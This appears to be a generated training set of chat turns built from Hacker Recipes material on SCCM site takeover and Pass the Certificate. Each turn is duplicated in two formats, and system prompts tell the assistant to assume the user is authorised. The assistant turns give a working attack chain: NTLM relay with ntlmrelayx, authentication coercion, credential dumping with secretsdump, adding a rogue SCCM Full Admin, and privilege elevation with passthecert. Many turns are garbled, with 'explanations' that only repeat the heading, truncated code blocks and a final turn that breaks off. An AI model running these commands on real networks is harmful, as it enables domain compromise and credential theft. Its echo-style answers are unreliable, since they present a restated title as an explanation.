[Assistant] ntlmrelayx.py -t https://smsprovider.domain.local/AdminService/wmi/SMS_Admin -smb2support --adminservice --logonname "DOMAIN\USER" --displayname "DOMAIN\USER" --objectsid $OBJECTSID

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How to execute SCCM site takeover - Step 1: setup an NTLM relay server?

Response: ntlmrelayx.py -t https://smsprovider.domain.local/AdminService/wmi/SMS_Admin -smb2support --adminservice --logonname "DOMAIN\USER" --displayname "DOMAIN\USER" --objectsid $OBJECTSID


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `ntlmrelayx.py -t https://smsprovider.domain.local/AdminService/wmi/SMS_Admin -smb2support --adminservice --logonname "DOMAIN\USER" --displayname "DOMAIN\USER" --objectsid $OBJECTSID`?

[Assistant] This command is used for sccm site takeover - step 1: setup an ntlm relay server. Step 1: setup an NTLM relay server

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `ntlmrelayx.py -t https://smsprovider.domain.local/AdminService/wmi/SMS_Admin -smb2support --adminservice --logonname "DOMAIN\USER" --displayname "DOMAIN\USER" --objectsid $OBJECTSID`?

Response: This command is used for sccm site takeover - step 1: setup an ntlm relay server. Step 1: setup an NTLM relay server


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain this should be run on the windows SCCM client as the user that was just given full administrative role to

[Assistant]
SharpSCCM.exe get site-push-settings -mp "SCCM-Server" -sc "$SITE_CODE"
```

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Explain this should be run on the windows SCCM client as the user that was just given full administrative role to

Response:
SharpSCCM.exe get site-push-settings -mp "SCCM-Server" -sc "$SITE_CODE"
```


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do this should be run on the windows SCCM client as the user that was just given full administrative role to

[Assistant]
SharpSCCM.exe get site-push-settings -mp "SCCM-Server" -sc "$SITE_CODE"
```

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do this should be run on the windows SCCM client as the user that was just given full administrative role to

Response:
SharpSCCM.exe get site-push-settings -mp "SCCM-Server" -sc "$SITE_CODE"
```


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about SCCM site takeover - Relay from a passive site server to the active site server?

[Assistant]
> [!CAUTION]
> Some requirements are needed to perform the attack:
>
> * a passive site server is present on the network and it's reachable
> * knowing the NetBIOS name, FQDN, or IP address of the passive and active site servers is required
> * SMB signing is not required on the active site server (default)

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about SCCM site takeover - Relay from a passive site server to the active site server?

Response:
> [!CAUTION]
> Some requirements are needed to perform the attack:
>
> * a passive site server is present on the network and it's reachable
> * knowing the NetBIOS name, FQDN, or IP address of the passive and active site servers is required
> * SMB signing is not required on the active site server (default)


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do SCCM site takeover - Relay from a passive site server to the active site server

[Assistant]
> [!CAUTION]
> Some requirements are needed to perform the attack:
>
> * a passive site server is present on the network and it's reachable
> * knowing the NetBIOS name, FQDN, or IP address of the passive and active site servers is required
> * SMB signing is not required on the active site server (default)

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do SCCM site takeover - Relay from a passive site server to the active site server

Response:
> [!CAUTION]
> Some requirements are needed to perform the attack:
>
> * a passive site server is present on the network and it's reachable
> * knowing the NetBIOS name, FQDN, or IP address of the passive and active site servers is required
> * SMB signing is not required on the active site server (default)


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain SCCM site takeover - Step 1: setup an NTLM relay server

[Assistant]
The target of the NTLM relay attack must be set to the active site server, on the SMB service.

::: tabs

=== UNIX-like

From UNIX-like systems, Impacket's ntlmrelayx.py (Python) script can be used for that purpose.

``bash
ntlmrelayx.py -t $ACTIVE_SERVER.$DOMAIN -smb2support -socks
``

=== Windows

From Windows systems, Inveigh-Relay (Powershell) can be used as an alternative to Impacket's ntlmrelayx.py, however it does not feature the same functionalities regarding this specific target, need in the steps detailed below, meaning the exploitation from Windows system will need to be adapted.

:::

For more insight on NTLM relay attacks and tools options, see the corresponding page on The Hacker Recipes: NTLM Relay.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Explain SCCM site takeover - Step 1: setup an NTLM relay server

Response:
The target of the NTLM relay attack must be set to the active site server, on the SMB service.

::: tabs

=== UNIX-like

From UNIX-like systems, Impacket's ntlmrelayx.py (Python) script can be used for that purpose.

``bash
ntlmrelayx.py -t $ACTIVE_SERVER.$DOMAIN -smb2support -socks
``

=== Windows

From Windows systems, Inveigh-Relay (Powershell) can be used as an alternative to Impacket's ntlmrelayx.py, however it does not feature the same functionalities regarding this specific target, need in the steps detailed below, meaning the exploitation from Windows system will need to be adapted.

:::

For more insight on NTLM relay attacks and tools options, see the corresponding page on The Hacker Recipes: NTLM Relay.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do SCCM site takeover - Step 1: setup an NTLM relay server

[Assistant]
The target of the NTLM relay attack must be set to the active site server, on the SMB service.

::: tabs

=== UNIX-like

From UNIX-like systems, Impacket's ntlmrelayx.py (Python) script can be used for that purpose.

``bash
ntlmrelayx.py -t $ACTIVE_SERVER.$DOMAIN -smb2support -socks
``

=== Windows

From Windows systems, Inveigh-Relay (Powershell) can be used as an alternative to Impacket's ntlmrelayx.py, however it does not feature the same functionalities regarding this specific target, need in the steps detailed below, meaning the exploitation from Windows system will need to be adapted.

:::

For more insight on NTLM relay attacks and tools options, see the corresponding page on The Hacker Recipes: NTLM Relay.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
The target of the NTLM relay attack must be set to the active site server, on the SMB service.

::: tabs

=== UNIX-like

From UNIX-like systems, Impacket's ntlmrelayx.py (Python) script can be used for that purpose.

``bash
ntlmrelayx.py -t $ACTIVE_SERVER.$DOMAIN -smb2support -socks
``

=== Windows

From Windows systems, Inveigh-Relay (Powershell) can be used as an alternative to Impacket's ntlmrelayx.py, however it does not feature the same functionalities regarding this specific target, need in the steps detailed below, meaning the exploitation from Windows system will need to be adapted.

:::

For more insight on NTLM relay attacks and tools options, see the corresponding page on The Hacker Recipes: NTLM Relay.


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] What is the ntlmrelayx.py syntax for sccm site takeover - step 1: setup an ntlm relay server?

[Assistant] ntlmrelayx.py -t $ACTIVE_SERVER.$DOMAIN -smb2support -socks

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

What is the ntlmrelayx.py syntax for sccm site takeover - step 1: setup an ntlm relay server?

Response: ntlmrelayx.py -t $ACTIVE_SERVER.$DOMAIN -smb2support -socks


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute SCCM site takeover - Step 1: setup an NTLM relay server?

[Assistant] ntlmrelayx.py -t $ACTIVE_SERVER.$DOMAIN -smb2support -socks

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response: ntlmrelayx.py -t $ACTIVE_SERVER.$DOMAIN -smb2support -socks


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `ntlmrelayx.py -t $ACTIVE_SERVER.$DOMAIN -smb2support -socks`?

[Assistant] This command is used for sccm site takeover - step 1: setup an ntlm relay server. Step 1: setup an NTLM relay server

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `ntlmrelayx.py -t $ACTIVE_SERVER.$DOMAIN -smb2support -socks`?

Response: This command is used for sccm site takeover - step 1: setup an ntlm relay server. Step 1: setup an NTLM relay server


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe SCCM site takeover - Step 2: authentication coercion in the context of penetration testing

[Assistant]
The passive site server's authentication can be coerced with (PrinterBug, PetitPotam, ShadowCoerce, DFSCoerce, etc.).

If the NTLM relay attack is a success and ntlmrelayx.py has effectively sent the request to the active server, a SMB session through socks proxy has been opened with administrative rights.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe SCCM site takeover - Step 2: authentication coercion in the context of penetration testing

Response:
The passive site server's authentication can be coerced with (PrinterBug, PetitPotam, ShadowCoerce, DFSCoerce, etc.).

If the NTLM relay attack is a success and ntlmrelayx.py has effectively sent the request to the active server, a SMB session through socks proxy has been opened with administrative rights.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out SCCM site takeover - Step 2: authentication coercion during a pentest?

[Assistant]
The passive site server's authentication can be coerced with (PrinterBug, PetitPotam, ShadowCoerce, DFSCoerce, etc.).

If the NTLM relay attack is a success and ntlmrelayx.py has effectively sent the request to the active server, a SMB session through socks proxy has been opened with administrative rights.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out SCCM site takeover - Step 2: authentication coercion during a pentest?

Response:
The passive site server's authentication can be coerced with (PrinterBug, PetitPotam, ShadowCoerce, DFSCoerce, etc.).

If the NTLM relay attack is a success and ntlmrelayx.py has effectively sent the request to the active server, a SMB session through socks proxy has been opened with administrative rights.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does SCCM site takeover - Step 3: dump active site server account credentials work?

[Assistant]
Through the socks session, it is possible to dump the local credentials stored in the SAM database, and the secrets from the LSA, with Impacket's secretsdump.py (Python).

``bash
proxychains4 secretsdump.py $DOMAIN/$PASSIVE_SERVER\$@$ACTIVE_SERVER.$DOMAIN
``

Retrieve the LM:NT hash of the server account.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

How does SCCM site takeover - Step 3: dump active site server account credentials work?

Response:
Through the socks session, it is possible to dump the local credentials stored in the SAM database, and the secrets from the LSA, with Impacket's secretsdump.py (Python).

``bash
proxychains4 secretsdump.py $DOMAIN/$PASSIVE_SERVER\$@$ACTIVE_SERVER.$DOMAIN
``

Retrieve the LM:NT hash of the server account.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out SCCM site takeover - Step 3: dump active site server account credentials during a pentest?

[Assistant]
Through the socks session, it is possible to dump the local credentials stored in the SAM database, and the secrets from the LSA, with Impacket's secretsdump.py (Python).

``bash
proxychains4 secretsdump.py $DOMAIN/$PASSIVE_SERVER\$@$ACTIVE_SERVER.$DOMAIN
``

Retrieve the LM:NT hash of the server account.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out SCCM site takeover - Step 3: dump active site server account credentials during a pentest?

Response:
Through the socks session, it is possible to dump the local credentials stored in the SAM database, and the secrets from the LSA, with Impacket's secretsdump.py (Python).

``bash
proxychains4 secretsdump.py $DOMAIN/$PASSIVE_SERVER\$@$ACTIVE_SERVER.$DOMAIN
``

Retrieve the LM:NT hash of the server account.


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] What is the proxychains4 syntax for sccm site takeover - step 3: dump active site server account credentials?

[Assistant] proxychains4 secretsdump.py $DOMAIN/$PASSIVE_SERVER\$@$ACTIVE_SERVER.$DOMAIN

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

What is the proxychains4 syntax for sccm site takeover - step 3: dump active site server account credentials?

Response: proxychains4 secretsdump.py $DOMAIN/$PASSIVE_SERVER\$@$ACTIVE_SERVER.$DOMAIN


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do SCCM site takeover - Step 3: dump active site server account credentials

[Assistant] proxychains4 secretsdump.py $DOMAIN/$PASSIVE_SERVER\$@$ACTIVE_SERVER.$DOMAIN

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do SCCM site takeover - Step 3: dump active site server account credentials

Response: proxychains4 secretsdump.py $DOMAIN/$PASSIVE_SERVER\$@$ACTIVE_SERVER.$DOMAIN


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `proxychains4 secretsdump.py $DOMAIN/$PASSIVE_SERVER\$@$ACTIVE_SERVER.$DOMAIN`?

[Assistant] This command is used for sccm site takeover - step 3: dump active site server account credentials. Step 3: dump active site server account credentials

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `proxychains4 secretsdump.py $DOMAIN/$PASSIVE_SERVER\$@$ACTIVE_SERVER.$DOMAIN`?

Response: This command is used for sccm site takeover - step 3: dump active site server account credentials. Step 3: dump active site server account credentials


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does SCCM site takeover - Step 4: add a new SCCM Full Admin work?

[Assistant]
Since the active site server must be a member of the SMS Provider administrators (it is member of the SMS Admins group), its credentials can be used to add a new controlled user to the Full Admin SCCM group. sccmhunter (Python) can be used for this purpose.

``bash
sccmhunter.py admin -u $ACTIVE_SERVER\$ -p $LMHASH:NTHASH -ip $SMS_PROVIDER_IP

() (C:\) >> add_admin controlledUser
() (C:\) >> show_admins
``

Post exploitation via SCCM can now be performed on the network.

> [!CAUTION]
> The tool author (Chris Thompson) warns that SharpSCCM is a PoC only tested in lab. One should be careful when running in production environments.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

How does SCCM site takeover - Step 4: add a new SCCM Full Admin work?

Response:
Since the active site server must be a member of the SMS Provider administrators (it is member of the SMS Admins group), its credentials can be used to add a new controlled user to the Full Admin SCCM group. sccmhunter (Python) can be used for this purpose.

``bash
sccmhunter.py admin -u $ACTIVE_SERVER\$ -p $LMHASH:NTHASH -ip $SMS_PROVIDER_IP

() (C:\) >> add_admin controlledUser
() (C:\) >> show_admins
``

Post exploitation via SCCM can now be performed on the network.

> [!CAUTION]
> The tool author (Chris Thompson) warns that SharpSCCM is a PoC only tested in lab. One should be careful when running in production environments.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through SCCM site takeover - Step 4: add a new SCCM Full Admin

[Assistant]
Since the active site server must be a member of the SMS Provider administrators (it is member of the SMS Admins group), its credentials can be used to add a new controlled user to the Full Admin SCCM group. sccmhunter (Python) can be used for this purpose.

``bash
sccmhunter.py admin -u $ACTIVE_SERVER\$ -p $LMHASH:NTHASH -ip $SMS_PROVIDER_IP

() (C:\) >> add_admin controlledUser
() (C:\) >> show_admins
``

Post exploitation via SCCM can now be performed on the network.

> [!CAUTION]
> The tool author (Chris Thompson) warns that SharpSCCM is a PoC only tested in lab. One should be careful when running in production environments.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Walk me through SCCM site takeover - Step 4: add a new SCCM Full Admin

Response:
Since the active site server must be a member of the SMS Provider administrators (it is member of the SMS Admins group), its credentials can be used to add a new controlled user to the Full Admin SCCM group. sccmhunter (Python) can be used for this purpose.

``bash
sccmhunter.py admin -u $ACTIVE_SERVER\$ -p $LMHASH:NTHASH -ip $SMS_PROVIDER_IP

() (C:\) >> add_admin controlledUser
() (C:\) >> show_admins
``

Post exploitation via SCCM can now be performed on the network.

> [!CAUTION]
> The tool author (Chris Thompson) warns that SharpSCCM is a PoC only tested in lab. One should be careful when running in production environments.


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Give me the sccmhunter.py command to sccm site takeover - step 4: add a new sccm full admin

[Assistant]
sccmhunter.py admin -u $ACTIVE_SERVER\$ -p $LMHASH:NTHASH -ip $SMS_PROVIDER_IP

() (C:\) >> add_admin controlledUser
() (C:\) >> show_admins

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Give me the sccmhunter.py command to sccm site takeover - step 4: add a new sccm full admin

Response:
sccmhunter.py admin -u $ACTIVE_SERVER\$ -p $LMHASH:NTHASH -ip $SMS_PROVIDER_IP

() (C:\) >> add_admin controlledUser
() (C:\) >> show_admins


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on SCCM site takeover - Step 4: add a new SCCM Full Admin

[Assistant]
sccmhunter.py admin -u $ACTIVE_SERVER\$ -p $LMHASH:NTHASH -ip $SMS_PROVIDER_IP

() (C:\) >> add_admin controlledUser
() (C:\) >> show_admins

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on SCCM site takeover - Step 4: add a new SCCM Full Admin

Response:
sccmhunter.py admin -u $ACTIVE_SERVER\$ -p $LMHASH:NTHASH -ip $SMS_PROVIDER_IP

() (C:\) >> add_admin controlledUser
() (C:\) >> show_admins


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `sccmhunter.py admin -u $ACTIVE_SERVER\$ -p $LMHASH:NTHASH -ip $SMS_PROVIDER_IP`?

[Assistant] This command is used for sccm site takeover - step 4: add a new sccm full admin. Step 4: add a new SCCM Full Admin

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `sccmhunter.py admin -u $ACTIVE_SERVER\$ -p $LMHASH:NTHASH -ip $SMS_PROVIDER_IP`?

Response: This command is used for sccm site takeover - step 4: add a new sccm full admin. Step 4: add a new SCCM Full Admin


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of Pass the Certificate

[Assistant]
> [!NOTE]
> This technique extends the notion of Pass the Certificate, thus dubbed by myself, @_nwodtuhs, in a Twitter thread about AD CS and PKINIT here. Even if both techniques share the same name and the same concept, the authentication method is different.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of Pass the Certificate

Response:
> [!NOTE]
> This technique extends the notion of Pass the Certificate, thus dubbed by myself, @_nwodtuhs, in a Twitter thread about AD CS and PKINIT here. Even if both techniques share the same name and the same concept, the authentication method is different.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for Pass the Certificate

[Assistant]
> [!NOTE]
> This technique extends the notion of Pass the Certificate, thus dubbed by myself, @_nwodtuhs, in a Twitter thread about AD CS and PKINIT here. Even if both techniques share the same name and the same concept, the authentication method is different.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for Pass the Certificate

Response:
> [!NOTE]
> This technique extends the notion of Pass the Certificate, thus dubbed by myself, @_nwodtuhs, in a Twitter thread about AD CS and PKINIT here. Even if both techniques share the same name and the same concept, the authentication method is different.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of Pass the Certificate - Theory

[Assistant]
Sometimes, Domain Controllers do not support PKINIT. This can be because their certificates do not have the Smart Card Logon EKU. Most of the time, domain controllers return KDC_ERR_PADATA_TYPE_NOSUPP error when the EKU is missing. Fortunately, several protocols — including LDAP — support Schannel, thus authentication through TLS. As the term "schannel authentication" is derived from the Schannel SSP (Security Service Provider) which is the Microsoft SSL/TLS implementation in Windows, it is important to note that schannel authentication is a SSL/TLS client authentication.

> [!TIP]
> * Schannel authentication relies on TLS so it is, by design, not subject to channel binding, as the authentication is borne by TLS itself.
> * Schannel is not subject to LDAP signing either as the bind is performed after a StartTLS command when used on the LDAP TCP port.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of Pass the Certificate - Theory

Response:
Sometimes, Domain Controllers do not support PKINIT. This can be because their certificates do not have the Smart Card Logon EKU. Most of the time, domain controllers return KDC_ERR_PADATA_TYPE_NOSUPP error when the EKU is missing. Fortunately, several protocols — including LDAP — support Schannel, thus authentication through TLS. As the term "schannel authentication" is derived from the Schannel SSP (Security Service Provider) which is the Microsoft SSL/TLS implementation in Windows, it is important to note that schannel authentication is a SSL/TLS client authentication.

> [!TIP]
> * Schannel authentication relies on TLS so it is, by design, not subject to channel binding, as the authentication is borne by TLS itself.
> * Schannel is not subject to LDAP signing either as the bind is performed after a StartTLS command when used on the LDAP TCP port.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for Pass the Certificate - Theory?

[Assistant]
Sometimes, Domain Controllers do not support PKINIT. This can be because their certificates do not have the Smart Card Logon EKU. Most of the time, domain controllers return KDC_ERR_PADATA_TYPE_NOSUPP error when the EKU is missing. Fortunately, several protocols — including LDAP — support Schannel, thus authentication through TLS. As the term "schannel authentication" is derived from the Schannel SSP (Security Service Provider) which is the Microsoft SSL/TLS implementation in Windows, it is important to note that schannel authentication is a SSL/TLS client authentication.

> [!TIP]
> * Schannel authentication relies on TLS so it is, by design, not subject to channel binding, as the authentication is borne by TLS itself.
> * Schannel is not subject to LDAP signing either as the bind is performed after a StartTLS command when used on the LDAP TCP port.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for Pass the Certificate - Theory?

Response:
Sometimes, Domain Controllers do not support PKINIT. This can be because their certificates do not have the Smart Card Logon EKU. Most of the time, domain controllers return KDC_ERR_PADATA_TYPE_NOSUPP error when the EKU is missing. Fortunately, several protocols — including LDAP — support Schannel, thus authentication through TLS. As the term "schannel authentication" is derived from the Schannel SSP (Security Service Provider) which is the Microsoft SSL/TLS implementation in Windows, it is important to note that schannel authentication is a SSL/TLS client authentication.

> [!TIP]
> * Schannel authentication relies on TLS so it is, by design, not subject to channel binding, as the authentication is borne by TLS itself.
> * Schannel is not subject to LDAP signing either as the bind is performed after a StartTLS command when used on the LDAP TCP port.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does Pass the Certificate - Practice work?

[Assistant]
::: tabs

=== UNIX-like

Tools like PassTheCert (python version) and Certipy can be used to authenticate with the certificate via Schannel against LDAP.

```bash

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

How does Pass the Certificate - Practice work?

Response:
::: tabs

=== UNIX-like

Tools like PassTheCert (python version) and Certipy can be used to authenticate with the certificate via Schannel against LDAP.

```bash


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform Pass the Certificate - Practice?

[Assistant]
::: tabs

=== UNIX-like

Tools like PassTheCert (python version) and Certipy can be used to authenticate with the certificate via Schannel against LDAP.

```bash

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How do I perform Pass the Certificate - Practice?

Response:
::: tabs

=== UNIX-like

Tools like PassTheCert (python version) and Certipy can be used to authenticate with the certificate via Schannel against LDAP.

```bash


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does If you use Certipy to retrieve certificates, you can extract key and cert from the pfx by using: work?

[Assistant]
$ certipy cert -pfx user.pfx -nokey -out user.crt
$ certipy cert -pfx user.pfx -nocert -out user.key

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

How does If you use Certipy to retrieve certificates, you can extract key and cert from the pfx by using: work?

Response:
$ certipy cert -pfx user.pfx -nokey -out user.crt
$ certipy cert -pfx user.pfx -nocert -out user.key


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through If you use Certipy to retrieve certificates, you can extract key and cert from the pfx by using:

[Assistant]
$ certipy cert -pfx user.pfx -nokey -out user.crt
$ certipy cert -pfx user.pfx -nocert -out user.key

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Walk me through If you use Certipy to retrieve certificates, you can extract key and cert from the pfx by using:

Response:
$ certipy cert -pfx user.pfx -nokey -out user.crt
$ certipy cert -pfx user.pfx -nocert -out user.key


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does elevate a user (it assumes that the domain account for which the certificate was issued, holds privileges to elevate user) work?

[Assistant] passthecert.py -action modify_user -crt user.crt -key user.key -domain domain.local -dc-ip "10.0.0.1" -target user_sam -elevate

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

How does elevate a user (it assumes that the domain account for which the certificate was issued, holds privileges to elevate user) work?

Response: passthecert.py -action modify_user -crt user.crt -key user.key -domain domain.local -dc-ip "10.0.0.1" -target user_sam -elevate


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out elevate a user (it assumes that the domain account for which the certificate was issued, holds privileges to elevate user) during a pentest?

[Assistant] passthecert.py -action modify_user -crt user.crt -key user.key -domain domain.local -dc-ip "10.0.0.1" -target user_sam -elevate

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

